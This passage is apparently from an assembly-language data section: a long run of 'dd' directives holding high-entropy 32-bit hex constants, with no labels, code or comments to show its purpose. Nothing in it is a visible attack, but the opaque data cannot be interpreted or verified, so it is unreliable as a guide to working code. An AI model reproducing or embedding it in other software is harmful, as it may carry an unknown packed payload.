51445AB5h, 0C9208C52h, 982EBA88h dd 68D24858h, 7A7C205Eh, 887AC778h, 87BF3D0Bh, 0D0E4EB43h dd 0EE21B6EEh, 0F28B16C0h, 0C5342450h, 6E5408C4h, 89452764h dd 38BC40AFh, 39170B1Fh, 143F5C00h, 368F9ED0h, 993FE35h dd 5143506Fh, 0A4310024h, 49035F44h, 0E9C314B0h, 0EADBF086h dd 208D0985h, 0B4C887D7h, 9B5F36A1h, 5E70EC27h, 0C074FCFAh dd 0D8E04121h, 0C5006B8Bh, 0A13FF172h, 1A53BFh, 60EAECAFh dd 490DADC4h, 82796E60h, 281D84F8h, 43ECF0BBh, 1391223Fh dd 28EC2EB6h, 0E5030D80h, 0EBFAA5A2h, 23D81144h, 0B1670F43h dd 2062615Ah, 604125E3h, 0F2C7A358h, 41B056DDh, 2AD6831Eh dd 0C0BFC13h, 49C6EB4h, 0F57BBDA2h, 0D03081F3h, 77E5001Eh dd 46F201B6h, 0E0B8BBF6h, 0B334502Fh, 9895A4ADh, 2214568h dd 8531FA33h, 6449FD68h, 89BB0C07h, 8472FCh, 0FFCD0E37h dd 1B0E6EDh, 539894D5h, 20801783h, 5A3AA028h, 0C18189EAh dd 9071EFh, 38CCC0ACh, 20229E2h, 0F08A68ADh, 5F50C07Fh dd 854C4459h, 94B695h, 910B879h, 0D7518078h, 0F306980Ch dd 0B2EB8052h, 0A80722A4h, 0A287FA00h, 0B10D4F7Dh, 0A7E50921h dd 6C187EB2h, 0F2128D26h, 0E8A2DC29h, 0B1936E01h, 41E4417Eh dd 32566F88h, 10BCD05Ch, 8A5807BCh, 2118CE4Ah, 240F265Fh dd 82C54444h, 0C45288A8h, 0AC2BA100h, 5C71B32Eh, 3F5A00B4h dd 0EF09CE40h, 6F4CBB0Fh, 44772A5Ch, 58589528h, 4C3C7948h dd 0A4D21E44h, 1DDC6484h, 21D938D2h, 0E8A5B810h, 2E1D3D14h dd 6D00B11Ah, 7EB5FAB9h, 48BE00DAh, 0D6154555h, 0BC00B3E0h dd 9D93019Ah, 4850ADC0h, 6C5CAC07h, 0E7601480h, 77003578h dd 0C20B4631h, 2C1A6228h, 1298C7D5h, 0AD6031C6h, 71383904h dd 0B0705489h, 11404247h, 0DE261165h, 41302C24h, 731E45F3h dd 0E8545F3Ch, 77CF10B0h, 0A053684Ch, 302BAC12h, 0A4F9937Ch dd 8840305Fh, 3D09B1F2h, 11500038h, 18A29935h, 68000595h dd 0D703F3DEh, 0B8200A2Eh, 0D3A32180h, 81BC9F94h, 0F126D81Fh dd 395A22E0h, 324A2BEDh, 8C61B8C0h, 84CE0CCAh, 67A944h dd 0C98AD263h, 5EAC9AAFh, 13005C78h, 4C755F0h, 1847B0A8h dd 592AEBBAh, 0DB0E7306h, 0B7A4F8h, 7428E878h, 0C2A70427h dd 0BCC8507Ch, 16B639F4h, 890D3E3h, 0B830522Eh, 14A4E690h dd 0C0B8A1C3h, 9E725B10h, 107D108h, 83C4AB41h, 22382252h dd 80C4B170h, 84DC9E39h, 0B50120F2h, 0FF440C4Dh, 60EEE5A6h dd 82873B08h, 8B00D0F9h, 9082BFABh, 0C7D9010Ch, 0AE37733Eh dd 8FFCCBEDh, 0C45B23A0h, 0E7C340DDh, 9FF805Eh, 517DEDF4h dd 5DF3DC02h, 0F023C311h, 0A8601F70h, 0A2291251h, 33FF808Ch dd 28B4EA18h, 9C4E595h, 47B16C98h, 0AD1C9CC4h, 1AC3535Ch dd 0E0FFD9D7h, 0B104DFh, 62C4FC25h, 0E55989E2h, 0EC4BF998h dd 44511CC8h, 7C98E907h, 7022D343h, 1188A15Ch, 8938417Bh dd 5A07201h, 0C48E6F56h, 4C079742h, 8AE021BBh, 0DE70039Eh dd 2CEAC193h, 0C581423h, 0A368D332h, 30129219h, 1A0FE4DAh dd 0E066D267h, 0E16A4E28h, 0B27207BDh, 2C386845h, 78406790h dd 0A68B75D0h, 83F627C4h, 467B80E4h, 2ADD240Fh, 4B9EBF4h dd 0FB315E64h, 0B68D0004h, 61E0B6C7h, 32C45F83h, 783093E0h dd 0B1832E9h, 249EB38h, 0B47D4C68h, 0F46D21C0h, 0D679F0h dd 667CC01Fh, 0B4DF4EBEh, 0C991EF01h, 9830964Dh, 2947E0h dd 925287F2h, 0C8C1138Dh, 0B8852F00h, 0BBFC9701h, 1409188h dd 0EA8F4D18h, 0DFA45206h, 0F608E619h, 527388h, 0AF459DA8h dd 0A6345B60h, 0B8413C00h, 541583AAh, 1CEF58E6h, 0AB17410h dd 846D72D9h, 8B7F8141h, 0F7C4043Ah, 5A3CB057h, 8060A0A6h dd 955FA99h, 0D7451F36h, 8B4043CAh, 80E52083h, 2EAFB35Ch dd 2B7B0678h, 0D4C2BB4Eh, 0A86430h, 6568E646h, 215BBEC0h dd 0BC2783EEh, 1D904CA5h, 828D5F1Eh, 0B0A36C6Fh, 0DEBDE476h dd 14B2B012h, 0BF01B33Bh, 83C2F655h, 8A5852DEh, 9F2510h dd 0D85186E3h, 54A4A0ABh, 3F202C90h, 60A1004Fh, 29B0CCD0h dd 0D022B0Ah, 857E6ABBh, 0C4C0523Dh, 0ACC7B710h, 0C95C8824h dd 32BAB804h, 10A611C6h dd 7AD468B8h, 445600B5h, 616A889Fh, 0C01D810h, 0BF437F60h dd 9C413E6Dh, 6030D6F7h, 870B00B9h, 6A6EBC74h, 0DD162EA4h dd 30265D45h, 479C9C10h, 272B91CCh, 7471C47Bh, 0EE93680Eh dd 200832ECh, 4A98643Bh, 170884ADh, 0B2EC0041h, 136DB57Fh dd 87EBF600h, 6FAF4402h, 48010358h, 1A6B9D9Ah, 8AF51800h dd 4B41986Ch, 97D805DEh, 0C3A615EAh, 0F2F00E6Ch, 0FC89DB52h dd 0F020402Ah, 874926B5h, 459F8919h, 820C2798h, 7CD0118Ah dd 0CC00C805h, 1F898000h, 996B49B9h, 166E902Dh, 0AEF46E2Fh dd 97909300h, 99273E93h, 3D41110h, 0C748E17Bh, 0C65B8B3h dd 85C40479h, 0E2F9EE94h, 66630B34h, 280D8AA6h, 89C86210h dd 0D8C18D92h, 8410E62Ch, 0FC022DA2h, 0AC20A355h, 13846646h dd 8BB1FFBBh, 0E1911778h, 3504F01Fh, 58C2BF04h, 111719CEh dd 5F6A80AFh, 0F0BD802Ch, 6D406F9Dh, 21C90CB0h, 7FE0B0E0h dd 74418248h, 0C14C78E9h, 85EBD576h, 88A63430h, 0E807C615h dd 4992BDDFh, 0D0E6B70h, 2458002Ah, 44D3B5E2h, 6CAE121Eh dd 0BE0E850h, 0B9644C99h, 0EE6F00D1h, 0A36A4600h, 80C03DF9h dd 739AD3D1h, 3C50068h, 8AA36F4Bh, 0F4987998h, 0E42094B9h dd 39B02150h, 66434C9Ah, 894CA29h, 3097439Dh, 53BE60D0h dd 38A300B7h, 46DF7BE3h, 9600EF09h, 0F5E922C9h, 0EACE3498h dd 0E4089407h, 871CA216h, 819021A1h, 0B0E442A7h, 95E877D0h dd 7458802h, 5457EC20h, 0B3050F99h, 0C0FCF03Fh, 0EB1B44E4h dd 6E1F3304h, 78ACDBh, 0D3455A2Bh, 7CCB87BBh, 13B40695h dd 18352A1Eh, 0DE963700h, 0F9935B9Ah, 10CC9EECh, 60D3C812h dd 0AE769E2Ch, 0C0A12E2Ah, 22E0F722h, 0FA00D668h, 2B0F1F84h dd 5036BBD4h, 9C045C9Bh, 0AFBE1D60h, 0B7FBB402h, 7B21CC58h dd 58890956h, 2F00B8ECh, 4AFABB94h, 145ABD21h, 8CD0B0C7h dd 2C80223Dh, 723B838h, 0F02583DAh, 1DA049FCh, 3262C0h dd 0C1D5B137h, 84087874h, 0E7F6A71Ch, 0EC60F4E6h, 7E7A8AC8h dd 5844F086h, 915B78E6h, 29694658h, 36AF126Ch, 0C3C22CE2h dd 1C461683h, 9E10F342h, 80F28874h, 6128A1B8h, 68F2E716h dd 7ED8020Bh, 0DF70040Ch, 1BC820B2h, 5E87AF85h, 0BBF02808h dd 180C1B8Eh, 0DB8ADDE0h, 70030E6Ch, 0D347105Dh, 0D81DA507h dd 90721C10h, 1DCC8620h, 0A6D75CA6h, 0B4B940A4h, 6E0187F7h dd 0EAA57467h, 830C9B65h, 5B468140h, 0F28CC96Bh, 2D2B5330h dd 0A409191Bh, 0B6271CE6h, 92CCAFDDh, 0D02640B2h, 0CEDC087Ch dd 191F7C0Ch, 65100048h, 0BD953DDEh, 809646A7h, 2E802249h dd 10D311F0h, 8384E6h, 811F3D75h, 6369BF87h, 42437090h dd 0B5D04B5Fh, 153BD482h, 0E6B4AD01h, 0C7A2643Ch, 6E02BA11h dd 8004F518h, 2195FFFAh, 87B29A00h, 0E141D340h, 0D0661DEAh dd 69FFC28Bh, 88E080B8h, 0DC04F245h, 0BBF628CDh, 0CF12AC97h dd 0BE080EA1h, 0FC55AF8Ah, 2D558h, 9E404191h, 0B37688AAh dd 0EA15300h, 22971292h, 0EB5E0EB5h, 988480BAh, 8B48849Bh dd 90110064h, 0E1FE31A6h, 50120FF8h, 4CA01EF5h, 2E43C968h dd 15A38B0Ch, 861AF8B4h, 6870A44Ah, 3B1E3ED6h, 640AC357h dd 5E8D5D0h, 0B26F7140h, 89770B38h, 3B84E449h, 0B313AADEh dd 98042257h, 9C880C2Ah, 1CB591E4h, 6D40386Eh, 85D2A1FCh dd 40B00007h, 263A1842h, 881C4CC4h, 59001179h, 0E2DCD01Fh dd 0C1800062h, 90BA367Ch, 2D00BB75h, 88EB3842h, 0BFC9B86h dd 596E0571h, 0FA4C7C98h, 0F7D3F100h, 3E5CF0DDh, 179926A0h dd 58B7155Ch, 0B631AD31h, 585EE2D0h, 0D8208044h, 0E1272B0h dd 0C0C12CCCh, 4EAABECh, 0A43240A8h, 0E2FA7B68h, 0BBBE1A63h dd 4C51C85Bh, 0BD805E05h, 88A1C41Ch, 0B591041Ch, 0C9289300h dd 84BA8021h, 0FAC8EE00h, 8FFFBF85h, 0DE454819h, 0DC70640Bh dd 0FB160CC8h, 0B738A4E0h, 0C0C0CC6Eh, 19868733h, 670F217h dd 4D30B8A5h, 0BC756906h, 0DE7D5818h, 5E9C511h, 0F6A4EF52h dd 0DFEC48AAh, 4CE3CB65h, 71E30812h, 0FC43B1F8h, 4501C9D5h dd 0EBF6B41Dh, 9BD080B9h, 0D06E2E6Bh, 9F67080Ch, 73198147h dd 4AED00F4h, 0EF9ED123h, 0C1903F12h, 8586AC48h, 0B9066D6Bh dd 0FFF580C0h, 2D979178h, 0FC641BB8h, 5A282400h, 0AAB0E64Dh dd 0C2C4CEAh, 0A4A2ABC2h, 8001ECD9h, 8A853CE4h, 1F42CCh dd 1A87FFEEh, 8E8B6A06h, 0DF0A93E0h, 8C822031h, 0B0B4F804h dd 0E4C6E349h, 5A342D2Eh, 0A428C024h, 94E2B42Bh, 7AD4B980h dd 26773A42h, 528CAC17h, 4C73CCE1h, 3BBFEA94h, 54D4D8D8h dd 0B2EE0175h, 2FE8F563h, 0FC137E58h, 0E4D7B049h, 31B80054h dd 9E960442h, 0AF0903A2h, 0C039FA41h, 0A433ECC8h, 892E0084h dd 3765137Eh, 305CFC05h, 917621ACh, 18580Ch, 9DE5B2A7h dd 4A52CB6Fh, 4E3C49C8h, 160344CEh, 4FE60757h, 4D83885Ch dd 1C9400EEh, 31AAD980h, 0FB4BE213h, 4DA888Dh, 0F44452C7h dd 8813E12Fh, 32005214h, 5342AE3Ch, 3FBD1B54h, 250596A1h dd 0B2A7DA7Ah, 4D470068h, 0D35FCD7Ch, 0E09F000Fh, 3D704F03h dd 17095279h, 98168EFAh, 218B8F74h, 82276849h, 115DE740h dd 0C2B6118Fh, 56083063h, 0A0A64E2Bh, 0E92BE791h, 12FA9170h dd 8CCA45F3h, 42E33E01h, 61B1C778h, 0A0BC4155h, 70D901E2h dd 338BCC32h, 36E05490h, 39E4D058h, 37A90061h, 0C0144412h dd 303E48D7h, 7B927F21h, 408BB0CCh, 0EFF4B6E2h, 46411496h dd 2CD090EBh, 56849814h, 572C4073h, 0C9FA10D4h, 20A8E6CAh dd 0B901E007h, 5024377Eh, 4C28D70Fh, 72E0AF2Eh, 0FA415CD6h dd 6D71B8A4h, 0A9776C64h, 0BC15ED60h, 53268000h, 2E094088h dd 12005A78h, 888C53B7h, 0E5E0EED0h, 5C2F807h, 97D01541h dd 1B0EDBh, 0DE9F5807h, 3E8721CDh, 0DF189E09h, 0BEA09CA4h dd 579708E0h, 0E0619444h, 0D02510E2h, 7137002Bh, 0A46B7B49h dd 10B17EB2h, 218D2681h, 6DC6384h, 0BBD32DF9h, 16422890h dd 1A70C5F2h, 0A1690F18h, 8452BB78h, 84C8AE5Dh, 0DE48B8E0h dd 973F1D80h, 13F63CC6h, 0DC73480Ch, 2CB933F4h, 4000C524h dd 4D348E4Bh, 3A823F2Bh, 60B1D880h, 0C753A8A4h, 0F819AB28h dd 2922EA43h, 463B4090h, 117A05A3h, 0CC8C21BBh, 6FEB001Dh dd 86CFF134h, 0EE000E0Ch, 8E7063BDh, 4F8A966Eh, 0E0C434BBh dd 0DD079E40h, 0FA85C7B9h, 0F223BBE0h, 0B40E0A2h, 0C5651881h dd 58D71040h, 0B93CA795h, 0BB8FA210h, 0B8DE48EEh, 225ACA22h dd 0E924C8h, 0AE37A561h, 0A4F6C163h, 0FAEB8C07h, 77723D2Ah dd 0A0288EFDh, 0F7CCB875h, 4E7D1520h, 0A851F4A6h, 0BC782461h dd 0B9C08048h, 0A6FF4536h, 77B8FD1Fh, 802C5D7Ch, 8329208Fh dd 0B0EA4DC6h, 0A446682Dh, 740B300Fh, 0E0421707h, 22A186C3h dd 38DB04C9h, 4415F300h, 30176Ah, 8FE8BB0Eh, 27D9ECC0h dd 97824828h, 2FFC2103h, 86720879h, 14C60039h, 3FA6D51Ch dd 0FF746D43h, 4A3802Fh, 20B01FE0h, 0D0F0A1C4h, 1C032808h dd 0B066AFDBh, 0A4E5C887h, 3E8900D9h, 0C34963BEh, 6416DCA7h dd 0F500D5F6h, 8C59FCDEh, 330627DFh, 293F7CA0h, 1F00AAB7h dd 8ED1ED14h, 58DC4054h, 9E213C55h, 71A60609h, 0DD5F9098h dd 0AA17222h, 855F7BEh, 3F1E08D0h, 6491FC20h, 3AC14D80h dd 0BDBE44FEh, 0B87C9C05h, 0B6F58758h, 0AEB20467h, 0FF0719Dh dd 0BC74C406h, 604F4E3Bh, 714D8658h, 0C3D0B200h, 33780E89h dd 0DBD226F1h, 59EB0854h dd 0B9427C44h, 208748BDh, 1B860055h, 3300E473h, 1FCAB0E2h dd 5B89574h, 0D140506Ch, 1E08F359h, 1001A95Ah, 727DC0A0h dd 0BE5E992h, 0ACC51744h, 0A06C4604h, 0E24AF8B2h, 0BA028200h dd 0BF7D602Bh, 12CA17BEh, 0FF2803D8h, 0A1AF8C52h, 803CE648h dd 9550B869h, 134EA887h, 0C7B23038h, 0A26448C0h, 4FC03CF9h dd 2F5A35B3h, 0C6F34B00h, 42A85C80h, 0EE550930h, 5C4BFFE5h dd 5ECCAEF8h, 9AA3DC04h, 94903214h, 4AAD69D9h, 27182004h dd 98009B3Ah, 0CE12911h, 0C21A7CEDh, 19D0B6A9h, 6CE0E47Eh dd 192DD86h, 56A48423h, 0F0E9F40Ah, 2500BEE3h, 0BC4274C2h dd 0C0C78909h, 0E5D85D30h, 5F2D8469h, 40E610h, 8B2A8599h dd 8730E5B7h, 94B25A00h, 79E6F2B1h, 7777DD6h, 4C987E7Ch dd 0C81C3D0Bh, 3301BF31h, 438D845Ch, 7E00439h, 0ECDE015Fh dd 80AAB45Dh, 0F5DC494Fh, 0FD4110C5h, 0A08E4887h, 0B86D4912h dd 40D3C820h, 0ADA7E257h, 85EA361Fh, 0C6800527h, 0ECA050BCh dd 4F003E6Ch, 10792A72h, 2F2058Bh, 175FE873h, 98C0DFC0h dd 1FE4E5BEh, 98011C24h, 20F0313Ch, 2200DC10h, 0DB17C69Bh dd 60B2D4B1h, 3DF3ED00h, 88E69E0Ah, 0CBA75D06h, 938A3CFh dd 200C2CFBh, 0C3D97082h, 0ADC41040h, 0CCD8DA5Bh, 79930FC0h dd 0D5A01C5Dh, 0CF23118Eh, 0C0C4B024h, 84C53B00h, 35AE694h dd 0E75FEDBEh, 0FCF06074h, 0D0168AA8h, 0B8908C9Fh, 0E0DC0EEh dd 0C55CA607h, 0DBE9h, 0FA399BD9h, 68A98407h, 0CDC18EE4h dd 59E48CB6h, 4C5A07A5h, 2C4044E6h, 4600D8D9h, 0E080C0ACh dd 246071D9h, 3F741A81h, 0F629316h, 20EDF1Ch, 11644B06h dd 0E944CCB0h, 304500D2h, 0FDF1F0BCh, 9917FE6Ah, 0B842AEC7h dd 20DACBDBh, 0ACE30998h, 0D8A3D11Fh, 0B8B1F6C5h, 6E78B0h dd 0BB8C4131h, 0C7B6DBFEh, 0F820CD5Ah, 4C673687h, 0FF8270CAh dd 0BC6E8F73h, 4101CB72h, 1D20FE09h, 30F0F4ACh, 0FACC00F2h dd 948D0D87h, 0A162677h, 0C804152Bh, 0A14E1798h, 0A7930F3Eh dd 0E3B46462h, 0AFE41857h, 81CCBC5Ch, 0B87D42B9h, 0D4DAF620h dd 10FFFA28h, 0A128D95Ch, 213AAE6Fh, 0C168A0A4h, 0F8F3EA57h dd 7083AA00h, 1E11512Fh, 41D72C08h, 0E8E24B29h, 221438B8h dd 9EAF1262h, 30B777h, 3C5C1C3Fh, 0E651A3Ah, 0F32BC37h dd 8022EDA7h, 0FC66828Ch, 114420BFh, 0FA5868E5h, 0D30200E1h dd 48DB7CB3h, 1600E9D8h, 0AB363347h, 91064941h, 58AF0B60h dd 48B82018h, 8C41644Fh, 4A5E9CDFh, 58DE4C4h, 5AF23506h dd 889CBC9Eh, 0AC64AF1Ah, 965A2D01h, 3F0B9CF9h, 0C73ABF4h dd 76746E52h, 0DF3BF4C4h, 1E5DF4DAh, 145C2D44h, 0F5CB013Ch dd 0C3463D1Ah, 0D54FC819h, 6E0B0700h, 0B90E5CD4h, 28B948h dd 1A994CADh, 8D01B89Bh, 4A3C09AFh, 0FDE06BF7h, 0C6862843h dd 779722D0h, 70784644h, 2640095h, 61981C3Ah, 0AA143669h dd 0ED48B30h, 3639B52h, 89C47FB9h, 1020FDD5h, 0C720120Ah dd 9878F8F2h, 6FC06Eh, 14DE89EFh, 4E4A9DF4h, 9C9150F2h dd 64D3EC05h, 40557C44h, 0D30040E7h, 97A70C94h, 201B20Dh dd 0D56AE56Eh, 0A2FC5171h, 0F1E7319h, 0D956F2B8h, 0B9ECDC32h dd 31C64502h, 5A4750F2h, 22D15BFCh, 0A0184588h, 4BEC9006h dd 3C64C873h, 7BDE0440h, 0FCD90A72h, 0FCC1474h, 52A28E22h dd 58718D0Ch, 1643FA00h, 0EBCB4Dh, 0D30561Eh, 0C5F38966h dd 55CAC01h, 2B5B573Ah, 60909D2Bh, 1895B184h, 692710h dd 429EA4C7h, 0F612A6DCh, 60194400h, 1B5652E6h, 84D64C8Ah dd 0B91CED00h, 71970185h, 0AED47907h, 8F0039EEh, 7E97074h dd 22A1BFF3h, 0A24760BDh, 9B78E1B2h, 0D75410B5h, 71AC001Ch dd 2B047631h, 92ABBF4h, 5D0B9050h, 0D243E5A8h, 0B948C06Ch dd 0A3E80EB4h, 29BC8835h, 9C4438E1h, 4CC260A4h, 4C0FDFB4h dd 0A4A09F74h, 0D1D89CDCh, 7C5A78B8h, 0B0465C93h, 4A45CC8h dd 0C1EF8066h, 53E892A0h, 4C226120h, 91020094h, 6CD00FC8h dd 474B8E38h, 0CCF86412h, 43A284B0h, 71513000h, 0F2DFDAD5h dd 85EE09ACh, 0B010C4B1h, 31C048BAh, 0A3641DDAh, 338B2EDFh dd 56B94044h, 5B72B83h, 0ACC344D0h, 0A10FD4F7h, 0D0467BE1h dd 30586ABBh, 82518A98h, 4667602Eh, 0C1B2C7BAh, 0A4DB2A34h dd 0F0101CE0h, 0FC80AE88h, 0D81F06ACh, 57EB0083h, 14D31BD7h dd 0E195DA8Dh, 0B708CA64h, 0D21222E0h, 18056E6Ah, 2C98D730h dd 0B0E720Ah, 7F81FB2Ch, 9B364802h, 284FC90h, 6E15503h dd 0C2788150h, 5F08843Ah, 1A6108Ch, 0D18B7220h, 6FB4883Dh dd 0CFDE6C5Fh, 47CA3841h, 0CB2E56F3h, 5BA3CF4h, 0AF0749F2h dd 5C009CB7h, 0A86C86EDh, 680066F1h, 4E73E243h, 13468EA7h dd 62DD5857h, 168090h, 0BBD476A2h, 42333470h, 0A4268501h dd 38AF7C3Ch, 0FD406E82h, 0C4F3CDEEh, 4843100h, 3E2689h dd 0FA4A8E1Dh, 13753D23h, 9A83530Eh, 6EA84243h, 2968C428h dd 1248D3E9h, 9438A281h, 0C1D3006Dh, 0CCA436AAh, 406F1D83h dd 0A0418002h, 84E8593Eh, 0DC867609h, 0BA748069h, 0E0DB20h dd 0E396C2Ch, 0AE8C8392h, 502D1800h, 9D2B0F40h, 0B1AC00D2h dd 0E589B42h, 0B51D2670h, 4B43BD01h, 0A071A004h, 0E9AD08Dh dd 79E42745h, 6D307B40h, 0D5038920h, 4BEC93D2h, 736FD819h dd 326F0ABh, 2FAA2A18h, 83D04558h, 52009AB3h, 84FCB0DAh dd 0FE0F297h, 0BB12FFD1h, 8D2BEA40h, 3000695Dh, 3EA6C35Ch dd 0C0FA701Ch, 87454258h, 58E0EC4Ah, 7E80F412h, 0B4F62200h dd 30921644h, 0ED28756Dh, 0BF30D343h, 0FFFB38E5h, 39337408h dd 78AB7Bh, 2E3EF904h, 73F7EF64h, 7C61D360h, 2B89FEh, 2E1B26B7h dd 0F8F4FC8Ch, 1EFABD0Eh, 8DFFC010h, 3F0E53BFh, 0E230A2F6h dd 21CE6071h, 0F03CAAE2h, 494707F2h, 4460964Fh, 78FF7Bh dd 0FDA64258h, 0CEDBF8D0h, 0E26C0A01h, 0E61DE871h, 0F7FC8186h dd 0D2F050E5h, 0CCA89255h, 0B000502Fh, 0C024DA1Ch, 3C77CBh dd 0E6C7FD9Bh, 0F96D101Dh, 0D2971B03h, 0C016E343h, 0F094BE05h dd 9FD0302Bh, 0C118C449h, 0DBC97400h, 53E8D728h, 73411B0Fh dd 7A881D2h, 12CFAA6h, 0F101022Ah, 0A7F8A258h, 3018D0E8h dd 0F2F14E17h, 59C087C8h, 7D97A805h, 0E808CF13h, 0F651F92Ch dd 10317660h, 85A704h, 97072994h, 118AA3E6h, 9160DA76h dd 0B09E7248h, 58CD502Bh, 1C2200D8h, 1B1FE50h, 815CDEEDh dd 0D57B189Dh, 0E9D161h, 72310A54h, 0FF737946h, 89A32901h dd 2C1F6F4Dh, 0E85BCCCh, 0F8CB1E8Ch, 41EC0093h, 2818D506h dd 0A17FF130h, 0A494A8h, 77999526h, 0E5639FDCh, 1EF17B00h dd 0E671FDB1h, 8C6C30F3h, 0B54E5630h, 89D77030h, 0BB2E3Ah dd 7490FAF1h, 5118C6E7h, 7280820Ah, 79818C19h, 687B1411h dd 4C1AF055h, 79049060h, 4687240Bh, 55510952h, 61D0C406h dd 0F65D5005h, 0B45FF805h, 2BE45030h, 0A681DACh, 0C08F0049h dd 6D6EF989h, 0C6C4A48h, 0E17A6C9Dh, 4EB2A2Bh, 0E98EF0ACh dd 8840FBE5h, 1457D522h, 4C43957Bh, 0ECF7FF0Ch, 8560D2A9h dd 0E8A3D939h, 0B0283DD4h, 0D1779480h, 0A6BE15FAh, 9D443490h dd 34DD0025h, 0A1F310C6h, 0BD0ECC87h, 869F36C9h, 7D59F05Ah dd 0AD1500D1h, 0D28B8C73h, 1A141B57h, 7E08AFCh, 0C0FA7AD5h dd 0A060B87Ah, 0C6F7F3FFh, 38D57941h, 0DBFB7A0Ah, 0A26ED4F6h dd 408DCD25h, 0FAE84B80h, 0B0724946h, 90E4F810h, 3C280058h dd 13564FEh dd 6A860013h, 0BC504123h, 763FFF42h, 1498F133h, 0A8F0F845h dd 98E000E9h, 7AA5446Bh, 0A8A3F93Ah, 8FF23883h, 261BAA80h dd 0F89283C9h, 0A0B66231h, 798090D2h, 0D7DD38FCh, 72007523h dd 32AB3DB2h, 0C78E04E9h, 48E4F6B1h, 0EA5E8700h, 4806E5EFh dd 2D1F3679h, 0C667C018h, 868BF92Bh, 1520FC90h, 0F35A32BDh dd 0DA4175E9h, 0F487F8B7h, 9EAFFA1Dh, 0C2890A9h, 0F8D30522h dd 0A8E253h, 0FB7DAD7Bh, 636EF151h, 0F8905092h, 0D2287AFCh dd 7310D08Bh, 93487531h, 0E871F130h, 51C0EE07h, 3551D58Dh dd 1310C9DDh, 6E806008h, 10A18680h, 12E63914h, 0F24CB9FEh dd 80B039B0h, 22A4B164h, 0EEC6A75Dh, 1498038Ch, 2AD51D2Dh dd 75EC6107h, 5DE4ADC9h, 3215888h, 3B715A45h, 0C38C044Ah dd 40B08989h, 627B44D2h, 9FCB400h, 7BC2CC49h, 0A445198Ah dd 48F1487Ah, 8E006CB8h, 87CB2597h, 1914E6Ah, 6017B350h dd 6E4D6B9Eh, 8A47E06h, 934B3989h, 9A7B8C06h, 4A53E198h dd 0FF2300E0h, 7F8685A5h, 0DFA300B8h, 0B00FF137h, 30136C75h dd 0E404889Fh, 5A0AEB1Dh, 0CEAE0068h, 55A91995h, 40FF3407h dd 4EA2E9FEh, 96284999h, 2F5CB110h, 3314D03h, 0F0143F35h dd 120430DCh, 24869681h, 0CBD808E4h, 53611D64h, 72C89B82h dd 40E4E221h, 7BF8E072h, 18E96974h, 1116D430h, 0D35B7707h dd 51E04CBCh, 0B2321099h, 34D65C9Ch, 0F4801C4Ch, 965787CEh dd 51A7B509h, 0D5A48476h, 0F7CA0053h, 0BB1AE185h, 1E483F03h dd 0A04676A4h, 7ED926C4h, 708C066h, 0BF399615h, 0DA8C351Eh dd 0A2277100h, 2EE23Ah, 9EE9BDD9h, 0E41B0D97h, 4007C130h dd 89C580ACh, 2147F0D1h, 64BEB3Dh, 0DF644534h, 0A9863928h dd 43D9CF8Fh, 63A79340h, 0F3316189h, 0AE4760BBh, 37C5180h dd 0CD5BEB0Ch, 0AE72D93Dh, 8C00C928h, 0DE7B5032h, 0B480065Ah dd 79E0CA43h, 5734FD50h, 3900CCE4h, 84960E5Dh, 1DDD99Dh dd 0D947499h, 60F726CDh, 0A0C448E4h, 71477E62h, 83880A2Ch dd 0AA44A5E7h, 0AC369101h, 0DB9CD5F7h, 33CF8ECh, 661576E3h dd 30047FE4h, 0AE438886h, 9891BEC6h, 41A563F3h, 59000CE6h dd 67FAC279h, 6F4740F0h, 0BE002192h, 0F91CDF80h, 2D006071h dd 6C0B8361h, 181676h, 78AAA95Ah, 4035DDDEh, 0A7A4C8C3h dd 71FCD1CBh, 0F093C180h, 0B20EE226h, 0C7116E00h, 5FB9472Bh dd 983718FEh, 0B5C49827h, 61006372h, 0E23BF780h, 0C031CB86h dd 0EA34C8A1h, 4BB8E940h, 80FB873Ah, 0CEA7F258h, 194D7DBEh dd 0B9DEFE1Bh, 0C454D17Eh, 9AFAB2C3h, 0F9420C92h, 9FEC7900h dd 0A5E17E06h, 0B51FFA08h, 0FC3AEDh, 0F1A8DFE8h, 0FD7C7F78h dd 11C97360h, 9676ECh, 0CD39F4AEh, 0D451E44Ch, 0C38F4Ch dd 0E156170Dh, 0A491F81Bh, 0AD3044B0h, 0CC975B00h, 4BB6AE24h dd 3A7403FFh, 69437365h, 5DECC8C0h, 10FE2200h, 0D38164B6h dd 0E1150170h, 0B1F7FACCh, 445C241Eh, 0E5476544h, 5E9A6981h dd 0CC4D2245h, 5D005739h, 0C2E7E012h, 0F8140CA3h, 0E37D6Ch dd 0D20D0284h, 0B9B50FE4h, 1B76DA06h, 1A49C3E7h, 0F804C1D5h dd 88219006h, 0E1372EC0h, 9095E97Ch, 0AAE705CCh, 8B0DA3h dd 12CA5C4h, 220CCC79h, 0A8C45142h, 0F09F0A1Ah, 0AA4392Fh dd 838408C8h, 0FDE430C0h, 57A3C08Fh, 8F1E2184h, 7C98F425h dd 7084CD9h, 206A308Dh, 0E9F7D061h, 5C002C98h, 42A6A0E1h dd 50B8E660h, 129DF8AFh, 4B4A37Bh, 40015F94h, 7E10C816h dd 7C624937h, 0CDAF027Ch, 7F8BDFF9h, 0BCE4D482h, 0EC8CAC21h dd 72FD298Ch, 9042C89h, 0FCF79966h, 4DC892C0h, 3783005Dh dd 3A0D386Dh, 0B700B639h, 124EE0EAh, 81824Bh, 37F3DC27h dd 27CE4AAh, 4CACAF1Dh, 98BDB503h, 0DAB08845h, 78EE0060h dd 2BA2818Ch, 741C4ABFh, 0A807EECh, 9FEDC24Bh, 10449835h dd 48A8FC11h, 0E6B41854h, 48CA4A9h, 0E59ADA7Eh, 0A2648103h dd 0FBF020B6h, 441E3F22h, 0D7724506h, 5FDCCB01h, 8A81CC5Dh dd 1D65FFC0h, 0E6447629h, 18BD6330h, 0D6E84178h, 94C03E2Ah dd 0E8B888F0h, 477030E3h, 560E4499h, 2A9220A1h, 0FCF6CBBDh dd 0ABC9028Eh, 7B0F7357h, 0FFE7A8A3h, 7F50C5B0h, 0C993728h dd 44477126h, 0D821704Ah, 7C61E712h, 88334099h, 66303F22h dd 40BE31F6h, 15DC005Eh, 836FFB70h, 8700DA9Dh, 17E701EBh dd 20CBD431h, 22430DEh, 0FB47A4FDh, 8A478E90h, 247DEEB6h dd 1E844CD6h, 61030222h, 4C9DE9Fh, 55BA11C6h, 171EAD4h dd 5D1B52FEh, 317391C5h, 43D9D780h, 66D45122h, 9CA1811Fh dd 0BFC8F3BBh, 7260FCCDh, 59EECC2h, 2808058Ah, 0C8C40839h dd 909B3489h, 0C0A9473Ch, 0E8E46F79h, 96007043h, 506535Fh dd 